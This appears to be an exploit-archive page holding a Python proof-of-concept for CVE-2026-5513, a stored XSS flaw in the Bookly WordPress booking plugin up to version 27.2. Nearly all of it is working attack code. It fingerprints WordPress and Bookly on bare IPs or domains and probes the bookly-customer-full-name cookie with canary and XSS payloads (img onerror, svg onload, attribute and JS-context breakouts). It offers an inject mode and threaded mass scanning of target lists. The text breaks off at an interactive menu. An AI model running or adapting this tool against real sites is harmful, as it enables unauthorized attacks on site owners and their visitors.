5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-5513.py PY
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
 CVE-2026-5513 — Bookly <= 27.2 Stored XSS via Cookie
 =====================================================
 Plugin   : Online Scheduling and Appointment Booking System – Bookly
 Versi    : <= 27.2
 CVSS     : 7.2 (High)
 Patch    : 27.3+
 Vector   : bookly-customer-full-name cookie (Stored XSS)
 Prereq   : "Remember personal information in cookies" harus enabled

 Penggunaan:
     # Single target — check only
     python CVE-2026-5513.py -u http://target.com

     # Single target — inject XSS payload
     python CVE-2026-5513.py -u http://target.com --inject

     # Multi target dari file + threading
     python CVE-2026-5513.py -l list.txt -t 20

     # Custom payload
     python CVE-2026-5513.py -u http://target.com --inject --payload "<img src=x onerror=alert(1)>"

     # Simpan hasil ke file
     python CVE-2026-5513.py -l list.txt -t 10 -o hasil.txt

 DISCLAIMER:
     Untuk penetration testing dan penelitian keamanan yang sah saja.
     Penggunaan tanpa izin adalah ilegal.
"""

import argparse
import os
import queue
import re
import sys
import threading
import time
from datetime import datetime
from urllib.parse import urlparse, quote

# ─────────── Dependency Check & Auto-Install ───────────
def _ensure_deps():
    missing = []
    try:
        import requests  # noqa: F401
    except ImportError:
        missing.append("requests")
    try:
        from colorama import Fore  # noqa: F401
    except ImportError:
        missing.append("colorama")
    if missing:
        print(f"[*] Installing missing modules: {', '.join(missing)} ...")
        import subprocess
        subprocess.check_call(
            [sys.executable, "-m", "pip", "install"] + missing + ["-q"]
        )

_ensure_deps()

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

from colorama import Fore, Style, init as colorama_init
colorama_init(autoreset=True)


# ─────────── Color Aliases ───────────
R  = Fore.RED
G  = Fore.GREEN
Y  = Fore.YELLOW
B  = Fore.BLUE
C  = Fore.CYAN
M  = Fore.MAGENTA
W  = Fore.WHITE
BD = Style.BRIGHT
DM = Style.DIM
RS = Style.RESET_ALL

# ─────────── Global State ───────────
print_lock   = threading.Lock()
results_lock = threading.Lock()
stats = {"total": 0, "done": 0, "vuln": 0, "safe": 0, "error": 0, "injected": 0}
vuln_list    = []

# ─────────── Constants ───────────
TIMEOUT = 15
UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
      "AppleWebKit/537.36 (KHTML, like Gecko) "
      "Chrome/120.0.0.0 Safari/537.36")

COOKIE_NAME = "bookly-customer-full-name"

DEFAULT_PAYLOAD = '<img src=x onerror=alert(document.domain)>'

# XSS canary — unique string to detect reflection
CANARY = "bkly5513xss"
CANARY_PAYLOAD = f'"{CANARY}<svg/onload=alert(1)>'

# Pages yang biasa ada Bookly booking form
BOOKLY_PATHS = [
    "/", "/booking/", "/book/", "/book-appointment/",
    "/appointment/", "/appointments/", "/schedule/",
    "/reservasi/", "/jadwal/", "/pesan/",
    "/make-appointment/", "/book-now/", "/reserve/",
    "/consultation/", "/contact/", "/services/",
]

# WordPress subdirectory paths (untuk bare IP)
WP_SUBDIRS = [
    "/", "/wp/", "/blog/", "/wordpress/", "/site/",
    "/cms/", "/web/", "/home/",
]

# Common ports untuk probe bare IP
COMMON_PORTS = [443, 80, 8443, 8080]


# ─────────── Helpers ───────────

def banner():
    print(f"""{C}{BD}
   ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗  ██████╗
  ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝
  ██║     ██║   ██║█████╗       █████╔╝██║██╔██║ █████╔╝███████╗
  ██║     ╚██╗ ██╔╝██╔══╝      ██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║
  ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝
   ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝{RS}
{Y}{BD}                                          CVE-2026-5513{RS}
{W}  Bookly <= 27.2 — Stored XSS via Cookie (Unauthenticated)
  Vector  : bookly-customer-full-name cookie
  CVSS    : {R}{BD}7.2 High{RS}{W} | CWE-79 | Prereq: cookie setting ON{RS}
""")


def cprint(color, prefix, msg, target=""):
    tag = f"{color}{BD}{prefix}{RS}"
    tgt = f" {DM}[{target}]{RS}" if target else ""
    with print_lock:
        print(f"{tag}{tgt} {msg}")


def log_info(msg, t=""):    cprint(B,  "[*]", msg, t)
def log_ok(msg, t=""):      cprint(G,  "[+]", msg, t)
def log_warn(msg, t=""):    cprint(Y,  "[!]", msg, t)
def log_error(msg, t=""):   cprint(R,  "[-]", msg, t)
def log_vuln(msg, t=""):    cprint(M,  "[✓]", msg, t)
def log_step(msg, t=""):    cprint(C,  "[»]", msg, t)


def is_ip_address(host):
    """Check apakah host adalah IP address (v4)."""
    return bool(re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', host))


def normalize_url(url):
    """Normalize URL — handle bare IP, domain, port, scheme."""
    url = url.strip()
    if not url:
        return None
    # strip trailing slashes, whitespace
    url = url.strip('/')
    # jika sudah ada scheme, return as-is
    if url.startswith(('http://', 'https://')):
        return url.rstrip('/')
    # bare IP atau domain tanpa scheme — simpan dulu, probe nanti
    # default ke http:// untuk IP, https:// untuk domain
    host = url.split('/')[0].split(':')[0]
    if is_ip_address(host):
        # bare IP → jangan tambah scheme dulu, biar probe_target yg handle
        return f'http://{url}'
    else:
        return f'https://{url}'.rstrip('/')


def probe_target(raw_input, session, verbose=False):
    """
    Probe bare IP / domain untuk menemukan base URL yang valid.
    - Detect redirect (IP → domain)
    - Cek Bookly readme.txt sebagai fast check
    - Return: dict with base_url, is_wordpress, redirected, redirect_domain, bookly_version
    """
    short = raw_input.strip()[:45]
    raw = raw_input.strip().strip('/')

    result = {
        "base_url": None,
        "is_wordpress": False,
        "redirected": False,
        "redirect_domain": None,
        "bookly_version": None,
        "connected": False,
    }

    # extract host dan optional port
    if raw.startswith(('http://', 'https://')):
        parsed = urlparse(raw)
        host = parsed.hostname
        port = parsed.port
        schemes_ports = [(parsed.scheme, port or (443 if parsed.scheme == 'https' else 80))]
    else:
        host = raw.split('/')[0].split(':')[0]
        port_match = re.search(r':([0-9]+)', raw.split('/')[0])
        if port_match:
            port = int(port_match.group(1))
            schemes_ports = [('https', port), ('http', port)]
        else:
            port = None
            if is_ip_address(host):
                schemes_ports = []
                for p in COMMON_PORTS:
                    if p in (443, 8443):
                        schemes_ports.append(('https', p))
                    else:
                        schemes_ports.append(('http', p))
            else:
                schemes_ports = [('https', 443), ('http', 80)]

    for scheme, p in schemes_ports:
        if (scheme == 'https' and p == 443) or (scheme == 'http' and p == 80):
            base = f"{scheme}://{host}"
        else:
            base = f"{scheme}://{host}:{p}"

        try:
            # ── Step A: Hit root, follow redirects ──
            r = session.get(base + '/', timeout=10, allow_redirects=True)
            if r.status_code >= 500:
                continue

            result["connected"] = True
            final_url = r.url.rstrip('/')

            # ── Step B: Detect redirect ke domain lain ──
            final_parsed = urlparse(final_url)
            final_host = final_parsed.hostname or ''
            original_is_ip = is_ip_address(host)

            if original_is_ip and final_host and not is_ip_address(final_host):
                # IP redirect ke domain!
                result["redirected"] = True
                result["redirect_domain"] = final_url.rstrip('/')
                redirected_base = f"{final_parsed.scheme}://{final_host}"
                if verbose:
                    log_ok(f"IP {host} → redirect ke {redirected_base}", short)

                # Pakai domain hasil redirect sebagai base
                base = redirected_base

            elif original_is_ip and final_host and final_host != host:
                # redirect ke IP lain
                result["redirected"] = True
                result["redirect_domain"] = final_url.rstrip('/')
                base = final_url.rstrip('/')

            # ── Step C: Cek apakah WordPress ──
            body_lower = r.text.lower()
            is_wp = any(ind in body_lower for ind in [
                'wp-content', 'wp-includes', 'wordpress', 'wp-json',
                'wp-login', '/xmlrpc.php'
            ])

            if not is_wp:
                # fallback: cek wp-login.php
                try:
                    r_login = session.get(f"{base}/wp-login.php", timeout=8)
                    if r_login.status_code == 200 and 'wp-login' in r_login.text.lower():
                        is_wp = True
                except Exception:
                    pass

            if is_wp:
                result["base_url"] = base
                result["is_wordpress"] = True
                if verbose:
                    log_ok(f"WordPress confirmed → {base}", short)
            else:
                result["base_url"] = base
                # belum tentu WP, tapi masih connected

            # ── Step D: Fast check Bookly readme.txt ──
            readme_paths = [
                "/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt",
                "/wp-content/plugins/bookly/readme.txt",
            ]
            for rp in readme_paths:
                try:
                    r_readme = session.get(f"{base}{rp}", timeout=8)
                    if r_readme.status_code == 200 and 'bookly' in r_readme.text.lower():
                        result["is_wordpress"] = True
                        vm = re.search(r'Stable tag:\s*([0-9.]+)', r_readme.text, re.I)
                        if vm:
                            result["bookly_version"] = vm.group(1)
                        if verbose:
                            log_ok(f"Bookly readme.txt found! v{result['bookly_version']}", short)
                        break
                except Exception:
                    continue

            # kalau sudah dapat WP atau Bookly, return
            if result["is_wordpress"]:
                return result

            # ── Step E: Untuk bare IP tanpa WP di root, coba subdirectories ──
            if original_is_ip and not result["is_wordpress"]:
                for subdir in WP_SUBDIRS:
                    if subdir == '/':
                        continue
                    try:
                        r_sub = session.get(f"{base}{subdir}", timeout=8, allow_redirects=True)
                        if r_sub.status_code < 500:
                            sub_body = r_sub.text.lower()
                            sub_wp = any(ind in sub_body for ind in [
                                'wp-content', 'wp-includes', 'wordpress', 'wp-json'
                            ])
                            if sub_wp:
                                result["base_url"] = base + subdir.rstrip('/')
                                result["is_wordpress"] = True
                                if verbose:
                                    log_ok(f"WordPress found in subdir → {result['base_url']}", short)
                                return result
                    except Exception:
                        continue

            # connected tapi belum tentu WP
            if result["connected"]:
                return result

        except Exception:
            continue

    return result


def load_targets(filepath):
    if not os.path.isfile(filepath):
        log_error(f"File tidak ditemukan: {filepath}")
        sys.exit(1)
    targets = []
    with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
        for line in f:
            raw = line.strip()
            if raw and not raw.startswith('#'):
                targets.append(raw)
    if not targets:
        log_error(f"Tidak ada target valid di {filepath}")
        sys.exit(1)
    return targets


def make_session(proxy=None):
    s = requests.Session()
    s.headers.update({'User-Agent': UA})
    s.verify = False
    if proxy:
        s.proxies = {'http': proxy, 'https': proxy}
    return s


def print_progress():
    done  = stats["done"]
    total = stats["total"]
    pct   = int((done / total) * 40) if total else 0
    bar   = f"{G}{'█' * pct}{DM}{'░' * (40 - pct)}{RS}"
    line  = (f"\r  {bar} {BD}{done}/{total}{RS}"
             f"  {G}{BD}Vuln:{stats['vuln']}{RS}"
             f"  {R}Safe:{stats['safe']}{RS}"
             f"  {Y}Err:{stats['error']}{RS}"
             f"  {M}Injected:{stats['injected']}{RS}   ")
    with print_lock:
        sys.stdout.write(line)
        sys.stdout.flush()


# ─────────── Step 1: Detect Bookly Plugin ───────────

def detect_bookly(session, base_url, short, verbose=False):
    """
    Detect Bookly plugin and extract version.
    Returns: dict with detected, version, booking_pages
    """
    info = {
        "detected": False,
        "version": None,
        "booking_pages": [],
        "cookie_setting": None,  # unknown until we test
    }

    # Method 1: Check readme.txt for version
    readme_paths = [
        "/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt",
        "/wp-content/plugins/bookly/readme.txt",
    ]

    for rp in readme_paths:
        try:
            r = session.get(f"{base_url}{rp}", timeout=TIMEOUT)
            if r.status_code == 200 and "bookly" in r.text.lower():
                info["detected"] = True
                vm = re.search(r'Stable tag:\s*([0-9.]+)', r.text, re.IGNORECASE)
                if vm:
                    info["version"] = vm.group(1)
                if verbose:
                    log_ok(f"readme.txt found → v{info['version']}", short)
                break
        except Exception:
            continue

    # Method 2: Check plugin directory (403 = exists)
    if not info["detected"]:
        plugin_dirs = [
            "/wp-content/plugins/bookly-responsive-appointment-booking-tool/",
            "/wp-content/plugins/bookly/",
        ]
        for pd in plugin_dirs:
            try:
                r = session.get(f"{base_url}{pd}", timeout=TIMEOUT)
                if r.status_code in [200, 403]:
                    info["detected"] = True
                    if verbose:
                        log_ok(f"Plugin directory found ({r.status_code})", short)
                    break
            except Exception:
                continue

    # Method 3: Check for Bookly assets in common pages
    if not info["detected"]:
        try:
            r = session.get(base_url, timeout=TIMEOUT)
            if r.status_code == 200:
                body = r.text
                if any(ind in body for ind in [
                    'bookly-responsive-appointment-booking-tool',
                    'bookly-booking-form',
                    'bookly-form',
                    'var BooklyL10n',
                    'bookly-js',
                ]):
                    info["detected"] = True
                    if verbose:
                        log_ok("Bookly detected via homepage assets", short)
        except Exception:
            pass

    # Method 4: Detect via CSS/JS version
    if info["detected"] and not info["version"]:
        try:
            r = session.get(base_url, timeout=TIMEOUT)
            vm = re.search(
                r'bookly-responsive-appointment-booking-tool[^"\']*\?ver=([0-9.]+)',
                r.text
            )
            if vm:
                info["version"] = vm.group(1)
        except Exception:
            pass

    # Find pages with Bookly booking forms
    for path in BOOKLY_PATHS:
        try:
            r = session.get(f"{base_url}{path}", timeout=TIMEOUT, allow_redirects=True)
            if r.status_code == 200:
                body = r.text
                bookly_indicators = [
                    'bookly-form',
                    'bookly-booking',
                    'BooklyL10n',
                    'bookly_appointment',
                    'data-bookly',
                    'bookly-js',
                    'class="bookly',
                    'id="bookly',
                ]
                if any(ind in body for ind in bookly_indicators):
                    info["booking_pages"].append(path)
                    info["detected"] = True
                    if verbose:
                        log_info(f"Booking form found at {path}", short)
        except Exception:
            continue

    return info


# ─────────── Step 2: Check Cookie Setting + Reflection ───────────

def check_cookie_setting(session, base_url, booking_pages, short, verbose=False):
    """
    Check if "Remember personal information in cookies" is enabled.

    Bookly passes this setting via wp_localize_script into BooklyL10n JS object.
    When enabled, the frontend JS reads/writes bookly-customer-* cookies and
    the values get rendered into the booking form <input> fields.

    Detection methods:
    1. Parse BooklyL10n JS object for cookie/remember flags
    2. Check Bookly frontend JS files for cookie read patterns
    3. Send canary cookie → check if value appears in response HTML (definitive test)
    """

    # ── Method 1: Check BooklyL10n inline script for cookie setting ──
    for page in booking_pages:
        try:
            r = session.get(f"{base_url}{page}", timeout=TIMEOUT)
            body = r.text

            # BooklyL10n biasanya ada di inline <script> sebagai JSON object
            # Cari pattern yang menunjukkan cookie feature enabled
            # Contoh: "cookies":1, "cookies":"1", "cookies":true
            # Atau: "remember_personal_information":"1"
            l10n_patterns = [
                # cookies setting di BooklyL10n
                r'["\']cookies["\']\s*:\s*["\']?1["\']?',
                r'["\']cookies["\']\s*:\s*true',
                r'["\']cookie["\']\s*:\s*["\']?1["\']?',
                r'["\']cookie["\']\s*:\s*true',
                r'["\']remember_personal_information["\']\s*:\s*["\']?1["\']?',
                r'["\']remember_personal["\']\s*:\s*["\']?1["\']?',
                r'["\']rememberPersonal["\']\s*:\s*["\']?1["\']?',
                r'["\']rememberPersonal["\']\s*:\s*true',
                # generic — value attribute pre-filled from cookie
                r'getCookie\s*\(\s*["\']bookly-customer',
            ]

            for pat in l10n_patterns:
                if re.search(pat, body, re.IGNORECASE):
                    if verbose:
                        log_ok(f"Cookie setting ENABLED — matched pattern in {page}: {pat[:40]}", short)
                    return True

        except Exception:
            continue

    # ── Method 2: Check Bookly frontend JS file for cookie read ──
    js_paths = [
        "/wp-content/plugins/bookly-responsive-appointment-booking-tool/frontend/resources/js/bookly.min.js",
        "/wp-content/plugins/bookly-responsive-appointment-booking-tool/frontend/resources/js/bookly.js",
    ]
    for jsp in js_paths:
        try:
            r = session.get(f"{base_url}{jsp}", timeout=TIMEOUT)
            if r.status_code == 200 and len(r.text) > 100:
                # JS file exists — Bookly confirmed. Check for cookie patterns
                if 'bookly-customer-full-name' in r.text or 'getCookie' in r.text:
                    if verbose:
                        log_ok(f"Cookie handling found in Bookly JS: {jsp}", short)
                    # JS file always has the code, but it only runs if setting is ON
                    # We can't be 100% sure from JS alone, but it's a strong indicator
                    # → go to Method 3 for definitive test
                break
        except Exception:
            continue

    # ── Method 3: Definitive test — send canary cookie, check reflection ──
    # This is the REAL test. If the value appears in the HTML response,
    # the setting is enabled AND the cookie is being rendered.
    for page in booking_pages:
        try:
            cookies = {COOKIE_NAME: CANARY}
            r = session.get(f"{base_url}{page}", timeout=TIMEOUT, cookies=cookies)

            if CANARY in r.text:
                if verbose:
                    log_ok(f"Cookie value REFLECTED in page! Setting is ENABLED ({page})", short)
                return True
        except Exception:
            continue

    if verbose:
        log_warn("Cookie setting appears DISABLED — canary not reflected in any page", short)

    return False


# ─────────── Step 3: Test XSS Reflection ───────────

def test_xss_reflection(session, base_url, booking_pages, short, verbose=False):
    """
    Test if the bookly-customer-full-name cookie value is reflected
    in the page output without sanitization.

    Returns: dict with vulnerable, reflected_page, reflection_context
    """
    result = {
        "vulnerable": False,
        "reflected_page": None,
        "reflection_context": None,
        "raw_reflection": None,
    }

    # Test 1: Simple canary reflection
    for page in booking_pages:
        try:
            cookies = {COOKIE_NAME: CANARY}
            r = session.get(f"{base_url}{page}", timeout=TIMEOUT, cookies=cookies)
            body = r.text

            if CANARY in body:
                result["reflected_page"] = page

                # Test 2: Check if HTML entities are escaped
                # Send a payload with < > and check if it's escaped
                test_payload = f'{CANARY}<test5513>'
                cookies2 = {COOKIE_NAME: test_payload}
                r2 = session.get(f"{base_url}{page}", timeout=TIMEOUT, cookies=cookies2)
                body2 = r2.text

                if f'{CANARY}<test5513>' in body2:
                    # Raw HTML tags reflected — VULNERABLE!
                    result["vulnerable"] = True
                    result["reflection_context"] = "html_unescaped"
                    result["raw_reflection"] = True

                    if verbose:
                        log_vuln(f"XSS CONFIRMED — raw HTML reflected in {page}", short)
                    return result

                elif f'{CANARY}&lt;test5513&gt;' in body2:
                    # HTML entities escaped — NOT directly vulnerable via HTML injection
                    # But might be in JS context
                    result["reflection_context"] = "html_escaped"
                    if verbose:
                        log_info(f"Cookie reflected but HTML-escaped in {page}", short)

                elif CANARY in body2:
                    # Canary is there but tags are stripped — check JS context
                    result["reflection_context"] = "tags_stripped"
                    if verbose:
                        log_info(f"Cookie reflected, tags appear stripped in {page}", short)

                # Test 3: Check JavaScript context injection
                js_payload = f'{CANARY}";alert(1);//'
                cookies3 = {COOKIE_NAME: js_payload}
                r3 = session.get(f"{base_url}{page}", timeout=TIMEOUT, cookies=cookies3)
                body3 = r3.text

                if f'{CANARY}";alert(1);//' in body3:
                    result["vulnerable"] = True
                    result["reflection_context"] = "js_context"
                    result["raw_reflection"] = True
                    if verbose:
                        log_vuln(f"XSS CONFIRMED — JS context injection in {page}", short)
                    return result

                # Test 4: Check attribute context
                attr_payload = f'{CANARY}" onfocus="alert(1)" autofocus="'
                cookies4 = {COOKIE_NAME: attr_payload}
                r4 = session.get(f"{base_url}{page}", timeout=TIMEOUT, cookies=cookies4)
                body4 = r4.text

                if 'onfocus="alert(1)"' in body4:
                    result["vulnerable"] = True
                    result["reflection_context"] = "attr_context"
                    result["raw_reflection"] = True
                    if verbose:
                        log_vuln(f"XSS CONFIRMED — attribute injection in {page}", short)
                    return result

        except Exception as e:
            if verbose:
                log_warn(f"Error testing {page}: {e}", short)
            continue

    return result


# ─────────── Step 4: Inject XSS Payload ───────────

def inject_xss(session, base_url, booking_pages, payload, short, verbose=False):
    """
    Inject the actual XSS payload via the cookie and verify execution context.
    Returns: dict with injected, page, payload_reflected
    """
    result = {
        "injected": False,
        "page": None,
        "payload_used": payload,
        "verified": False,
    }

    for page in booking_pages:
        try:
            # Set the malicious cookie
            cookies = {COOKIE_NAME: payload}

            # Also set other bookly cookies to look legitimate
            cookies["bookly-customer-phone"] = "+1234567890"
            cookies["bookly-customer-email"] = "[email protected]"

            r = session.get(
                f"{base_url}{page}",
                timeout=TIMEOUT,
                cookies=cookies,
            )

            body = r.text

            # Check if our payload is reflected in the response
            # We look for the payload or key parts of it
            payload_check = payload.replace("'", "").replace('"', '')
            key_parts = re.findall(r'(onerror|onload|onfocus|alert|script|fetch|Image)', payload, re.I)

            reflected = False
            if payload in body:
                reflected = True
            elif any(kp in body for kp in key_parts if kp.lower() not in ['script']):
                # partial reflection — event handlers present
                reflected = True

            if reflected:
                result["injected"] = True
                result["page"] = page
                result["verified"] = True
                if verbose:
                    log_vuln(f"Payload injected and reflected at {page}", short)
                return result
            else:
                if verbose:
                    log_warn(f"Payload sent but not reflected at {page}", short)

        except Exception as e:
            if verbose:
                log_warn(f"Injection error at {page}: {e}", short)
            continue

    return result


# ─────────── Version Check ───────────

def is_version_vulnerable(version_str):
    """Check if version <= 27.2"""
    if not version_str:
        return None  # unknown

    try:
        parts = version_str.split('.')
        major = int(parts[0])
        minor = int(parts[1]) if len(parts) > 1 else 0

        if major < 27:
            return True
        elif major == 27 and minor <= 2:
            return True
        else:
            return False
    except (ValueError, IndexError):
        return None


# ─────────── Main Exploit Logic ───────────

def exploit_target(raw_target, mode="check", payload=DEFAULT_PAYLOAD,
                   proxy=None, output_file=None, verbose=False):
    """
    Main exploit chain for a single target.
    Modes: check, inject
    Supports: domain, IP, IP:port, URL
    """
    session = make_session(proxy)
    raw_clean = raw_target.strip().strip('/')
    short = raw_clean.replace('https://', '').replace('http://', '')[:45]

    try:
        # ══════════════════════════════════════════
        #  STEP 0: Probe target (IP/domain → base URL)
        # ══════════════════════════════════════════
        # Cek apakah ini bare IP
        host_part = raw_clean.replace('https://', '').replace('http://', '').split('/')[0].split(':')[0]
        needs_probe = is_ip_address(host_part)

        if needs_probe:
            log_step(f"Probing IP {host_part} (scheme + port + redirect + WP check)...", short)
            probe = probe_target(raw_clean, session, verbose)

            if not probe["connected"]:
                log_error("Tidak bisa terhubung ke IP (semua port gagal)", short)
                with results_lock:
                    stats["error"] += 1
                    stats["done"]  += 1
                return

            # Tampilkan info redirect
            if probe["redirected"] and probe["redirect_domain"]:
                log_ok(f"IP redirect → {BD}{probe['redirect_domain']}{RS}", short)

            if not probe["base_url"]:
                log_error("Tidak bisa resolve base URL", short)
                with results_lock:
                    stats["error"] += 1
                    stats["done"]  += 1
                return

            base_url = probe["base_url"]

            if not probe["is_wordpress"]:
                log_warn(f"Terhubung ke {base_url} tapi bukan WordPress", short)
                with results_lock:
                    stats["safe"] += 1
                    stats["done"] += 1
                return

            log_ok(f"WordPress found → {base_url}", short)

            # Kalau probe sudah dapat Bookly version, simpan untuk nanti
            early_bookly_version = probe.get("bookly_version")
            if early_bookly_version:
                log_ok(f"Bookly v{early_bookly_version} (from readme.txt)", short)

            short = base_url.replace('https://', '').replace('http://', '')[:45]

        else:
            # Domain biasa — normalize dan connect
            base_url = normalize_url(raw_clean)
            if not base_url:
                with results_lock:
                    stats["error"] += 1
                    stats["done"]  += 1
                return

            # ── Connectivity check ──
            try:
                r = session.get(base_url, timeout=TIMEOUT)
            except requests.exceptions.SSLError:
                # SSL error → fallback ke http
                if base_url.startswith('https://'):
                    base_url = base_url.replace('https://', 'http://', 1)
                    if verbose:
                        log_warn(f"SSL error, fallback ke HTTP → {base_url}", short)
                    try:
                        r = session.get(base_url, timeout=TIMEOUT)
                    except Exception:
                        log_error("Tidak bisa terhubung (HTTP fallback gagal)", short)
                        with results_lock:
                            stats["error"] += 1
                            stats["done"]  += 1
                        return
                else:
                    log_error("SSL error", short)
                    with results_lock:
                        stats["error"] += 1
                        stats["done"]  += 1
                    return
            except Exception:
                # HTTPS gagal → coba HTTP
                if base_url.startswith('https://'):
                    base_url = base_url.replace('https://', 'http://', 1)
                    try:
                        r = session.get(base_url, timeout=TIMEOUT)
                    except Exception:
                        log_error("Tidak bisa terhubung", short)
                        with results_lock:
                            stats["error"] += 1
                            stats["done"]  += 1
                        return
                else:
                    log_error("Tidak bisa terhubung", short)
                    with results_lock:
                        stats["error"] += 1
                        stats["done"]  += 1
                    return

            if r.status_code >= 500:
                log_error(f"HTTP {r.status_code}", short)
                with results_lock:
                    stats["error"] += 1
                    stats["done"]  += 1
                return

            # ── WordPress check ──
            body_lower = r.text.lower()
            is_wp = any(ind in body_lower for ind in [
                'wp-content', 'wp-includes', 'wordpress', 'wp-json',
                'wp-login', '/xmlrpc.php'
            ])
            if not is_wp:
                # last resort: cek wp-login.php
                try:
                    r_login = session.get(f"{base_url}/wp-login.php", timeout=8)
                    if r_login.status_code == 200 and 'wp-login' in r_login.text.lower():
                        is_wp = True
                except Exception:
                    pass

            if not is_wp:
                if verbose:
                    log_warn("Bukan WordPress", short)
                with results_lock:
                    stats["safe"] += 1
                    stats["done"] += 1
                return

            early_bookly_version = None  # domain path, belum ada early version

        # ══════════════════════════════════════════
        #  STEP 1: Detect Bookly
        # ══════════════════════════════════════════
        log_step("Detecting Bookly plugin...", short)
        info = detect_bookly(session, base_url, short, verbose)

        # Merge early version dari probe (jika ada)
        if early_bookly_version and not info["version"]:
            info["version"] = early_bookly_version
            info["detected"] = True

        if not info["detected"]:
            if verbose:
                log_warn("Bookly plugin not detected", short)
            with results_lock:
                stats["safe"] += 1
                stats["done"] += 1
            return

        ver_str = f" v{info['version']}" if info['version'] else ""
        log_ok(f"Bookly detected!{ver_str}", short)

        # Version check
        if info["version"]:
            vuln_ver = is_version_vulnerable(info["version"])
            if vuln_ver is False:
                log_warn(f"Version {info['version']} >= 27.3 — likely patched", short)
                with results_lock:
                    stats["safe"] += 1
                    stats["done"] += 1
                return
            elif vuln_ver is True:
                log_ok(f"Version {info['version']} <= 27.2 — potentially vulnerable!", short)

        if not info["booking_pages"]:
            log_warn("No booking pages found — trying homepage", short)
            info["booking_pages"] = ["/"]

        # ══════════════════════════════════════════
        #  STEP 2: Check cookie setting
        # ══════════════════════════════════════════
        log_step("Checking cookie storage setting...", short)
        cookie_enabled = check_cookie_setting(
            session, base_url, info["booking_pages"], short, verbose
        )

        if cookie_enabled:
            log_ok("Cookie setting ENABLED — cookie value reflected in page!", short)
        else:
            log_warn("Cookie setting appears DISABLED (canary not reflected) — still testing XSS...", short)

        # ══════════════════════════════════════════
        #  STEP 3: Test XSS reflection
        # ══════════════════════════════════════════
        log_step("Testing XSS reflection via cookie...", short)
        xss_result = test_xss_reflection(
            session, base_url, info["booking_pages"], short, verbose
        )

        if xss_result["vulnerable"]:
            ctx = xss_result["reflection_context"]
            page = xss_result["reflected_page"]

            log_vuln(
                f"{G}{BD}VULNERABLE!{RS}  "
                f"Context: {BD}{ctx}{RS}  "
                f"Page: {BD}{page}{RS}",
                short
            )

            with results_lock:
                stats["vuln"] += 1
                entry = {
                    "url": base_url,
                    "version": info["version"],
                    "page": page,
                    "context": ctx,
                    "cookie_enabled": cookie_enabled,
                }
                vuln_list.append(entry)

            # ══════════════════════════════════════════
            #  STEP 4: Inject payload (if mode=inject)
            # ══════════════════════════════════════════
            if mode == "inject":
                log_step(f"Injecting XSS payload...", short)
                inj = inject_xss(
                    session, base_url, info["booking_pages"],
                    payload, short, verbose
                )
                if inj["injected"]:
                    log_vuln(
                        f"{M}{BD}INJECTED!{RS}  "
                        f"Payload reflected at {BD}{inj['page']}{RS}",
                        short
                    )
                    with results_lock:
                        stats["injected"] += 1
                else:
                    log_warn("Payload injection sent but reflection not confirmed", short)

            # Save result
            if output_file:
                with results_lock:
                    with open(output_file, "a", encoding="utf-8") as f:
                        f.write(
                            f"{base_url} | v{info['version'] or '?'} | "
                            f"page={page} | ctx={ctx}\n"
                        )

        elif xss_result["reflected_page"]:
            # Cookie reflected but escaped
            log_warn(
                f"Cookie reflected but {xss_result['reflection_context']} "
                f"at {xss_result['reflected_page']} — may not be exploitable",
                short
            )
            with results_lock:
                stats["safe"] += 1

        else:
            # Cookie not reflected at all
            if verbose:
                log_info("Cookie value not reflected in any page — not exploitable", short)
            with results_lock:
                stats["safe"] += 1

        with results_lock:
            stats["done"] += 1

    except KeyboardInterrupt:
        raise
    except Exception as e:
        log_error(f"Exception: {e}", short)
        with results_lock:
            stats["error"] += 1
            stats["done"]  += 1


# ─────────── Worker Thread ───────────

def worker(task_queue, mode, payload, proxy, output_file,
           verbose, show_progress):
    while True:
        try:
            url = task_queue.get_nowait()
        except queue.Empty:
            break
        try:
            exploit_target(url, mode, payload, proxy, output_file, verbose)
        except KeyboardInterrupt:
            break
        except Exception:
            pass
        if show_progress:
            print_progress()
        task_queue.task_done()


# ─────────── CLI Args ───────────

def parse_args():
    p = argparse.ArgumentParser(
        prog='CVE-2026-5513.py',
        description='CVE-2026-5513 — Bookly Stored XSS via Cookie PoC',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=f"""
{BD}Contoh:{RS}
  # Single target — check only
  python CVE-2026-5513.py -u http://target.com

  # Single target — inject XSS payload
  python CVE-2026-5513.py -u http://target.com --inject

  # Custom payload
  python CVE-2026-5513.py -u http://target.com --inject --payload "<svg onload=alert(1)>"

  # Multi target + threading + save results
  python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt

  # Verbose + proxy Burp
  python CVE-2026-5513.py -u http://target.com -v --proxy http://127.0.0.1:8080
        """
    )

    src = p.add_mutually_exclusive_group(required=True)
    src.add_argument('-u', '--url', help='Single target URL')
    src.add_argument('-l', '--list', metavar='FILE',
                     help='File berisi list URL target')

    p.add_argument('--inject', action='store_true',
        help='Inject XSS payload (default: check only)')

    p.add_argument('--payload', default=DEFAULT_PAYLOAD,
        help=f'Custom XSS payload (default: {DEFAULT_PAYLOAD})')

    p.add_argument('-t', '--threads',
        type=int, default=10, metavar='N',
        help='Jumlah threads concurrent (default: 10)')

    p.add_argument('--proxy', default=None, metavar='URL',
        help='HTTP Proxy (contoh: http://127.0.0.1:8080)')

    p.add_argument('-o', '--output', default=None, metavar='FILE',
        help='Simpan hasil vulnerable ke file')

    p.add_argument('-v', '--verbose', action='store_true',
        help='Tampilkan log detail per target')

    return p.parse_args()


# ─────────── Interactive Menu (no args) ───────────

def interactive_menu():
    """Fallback interactive menu if no CLI args given."""
    banner()

    print(f"  {BD}{W}  SELECT MODE{RS}")
    print(f"  {DM}{'-'*56}{RS}")
